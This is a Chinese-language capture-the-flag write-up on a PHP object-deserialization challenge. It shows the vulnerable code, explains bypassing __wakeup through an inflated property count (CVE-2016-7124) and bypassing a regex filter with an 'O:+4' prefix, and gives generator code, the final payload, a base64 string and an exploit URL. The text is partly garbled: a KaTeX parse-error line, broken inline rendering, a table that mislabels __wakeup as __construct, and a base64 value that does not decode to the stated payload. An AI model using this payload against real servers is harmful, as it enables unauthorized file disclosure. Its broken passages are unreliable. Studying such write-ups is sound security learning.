一、题目背景与目标
本次CTF题目要求通过PHP反序列化漏洞读取服务器中的敏感文件fl4g.php
(注释提示flag存放于此)。题目提供的核心代码如下:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
// the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
目标: 构造一个能绕过所有防护的序列化字符串,使服务器执行highlight_file(‘fl4g.php’),输出 flag。
二、核心概念:PHP 魔术方法与序列化
2.1 魔术方法的运行规则
PHP 通过魔术方法实现对象生命周期的关键控制,本题涉及以下核心方法:
方法名 | 触发时机 | 作用描述 |
---|---|---|
__construct | 对象创建时(new调用) | 初始化对象属性(本题中用于设置$file) |
__destruct | 对象销毁时(脚本结束 /unset) | 释放资源(本题中触发文件读取:highlight_file($this->file)) |
__construct | 反序列化(unserialize)时 | 恢复对象状态(本题中强制重置$file为index.php,防御恶意利用) |
2.2 序列化与反序列化流程
- 序列化: 将对象转换为字符串(serialize()),本例中生成格式为O:4:“Demo”:1:{s:10:“%00Demo%00file”;s:8:“fl4g.php”;}。
- 反序列化: 将字符串恢复为对象(unserialize()),触发__wakeup和__destruct等魔术方法。
三、漏洞分析与防护机制
3.1 核心利用点:__destruct方法
Demo类的__destruct方法调用highlight_file( t h i s − > f i l e , t r u e ) ,会输出 this->file, true),会输出 this−>file,true),会输出this->file文件的 HTML 高亮内容。若能将$this->file控制为fl4g.php,即可读取 flag。
3.2 防护机制 1:__wakeup方法
__wakeup在反序列化时自动触发,题目中逻辑如下:
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php'; // 非index.php则重置
}
}
设计目的:防止用户通过反序列化修改$file为恶意路径。
3.3 防护机制 2:正则拦截
服务器对传入的var参数(Base64 解码后的序列化字符串)进行正则校验:
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
}
拦截规则:匹配O:\d+:(对象标识)或C:\d+:(类标识)时直接终止程序。
四、漏洞绕过技术细节
4.1 绕过__wakeup:属性个数溢出漏洞(CVE-2016-7124)
__wakeup的触发条件是序列化字符串中声明的属性个数与对象实际属性个数一致。若声明的属性个数大于实际个数,__wakeup会被跳过。
关键操作:
Demo类实际只有 1 个私有属性KaTeX parse error: Expected group after '_' at position 60: …:{...}),此时反序列化时_̲_wakeup不会执行,this->file保留恶意值。
4.2 绕过正则校验:类名长度前加+号
正则/[oc]:\d+:/i匹配O:\d+:或C:\d+:(\d+表示 1 个或多个数字)。PHP 允许序列化字符串中类名长度前加+号(如O:+4),此时+4含非数字字符(+),正则无法匹配,校验绕过。
五、利用步骤与代码实现
5.1 生成原始序列化字符串
构造Demo对象并序列化,设置$file为fl4g.php:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
// 生成原始序列化字符串
$obj = new Demo("fl4g.php");
$original = serialize($obj);
echo "原始序列化字符串: " . $original . "\n";
?>
输出结果:
原始序列化字符串: O:4:"Demo":1:{s:10:"%00Demo%00file";s:8:"fl4g.php";}
5.2 绕过__wakeup:修改属性个数
将序列化字符串中声明的属性个数从1改为2(实际只有 1 个属性):
$bypass_wakeup = str_replace(':1:', ':2:', $original);
修改后字符串:
O:4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}
5.3 绕过正则校验:修改类名长度格式
将O:4改为O:+4(类名长度前加+号):
$final_payload = str_replace('O:4', 'O:+4', $bypass_wakeup);
最终 payload:
O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}
5.4 生成 Base64 编码的参数
将最终 payload 进行 Base64 编码,作为var参数的值:
echo "Base64编码后: " . base64_encode($final_payload) . "\n";
输出结果:
Base64编码后: TzorNDoiRGVtbyI6Mjp7czoxMDoiADwvRGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9
六、验证与结果
访问以下 URL 触发漏洞:
http://目标IP/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiADwvRGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9
服务端执行流程:
base64_decode解码获取原始序列化字符串。
正则/[oc]:\d+:/检查O:+4(含+号),无法匹配数字\d+,校验通过。
反序列化时,属性个数2 > 实际1个,__wakeup被跳过,$this->file保留为fl4g.php。
对象销毁时触发__destruct,执行highlight_file(‘fl4g.php’),输出 flag 内容。
七、总结
漏洞利用链总结:
构造恶意对象($file=fl4g.php) → 序列化 → 修改属性个数绕过__wakeup → 修改类名格式绕过正则 → 反序列化触发__destruct → 读取目标文件
关键知识点:
__wakeup的触发条件与属性个数溢出漏洞(CVE-2016-7124)。
PHP 序列化字符串格式(私有属性的%00类名%00属性名表示)。
正则表达式/[oc]:\d+:/的绕过技巧(类名长度前加+号)。
通过本题可以深入理解 PHP 反序列化漏洞的核心逻辑,以及如何通过分析魔术方法和防护机制设计绕过方案。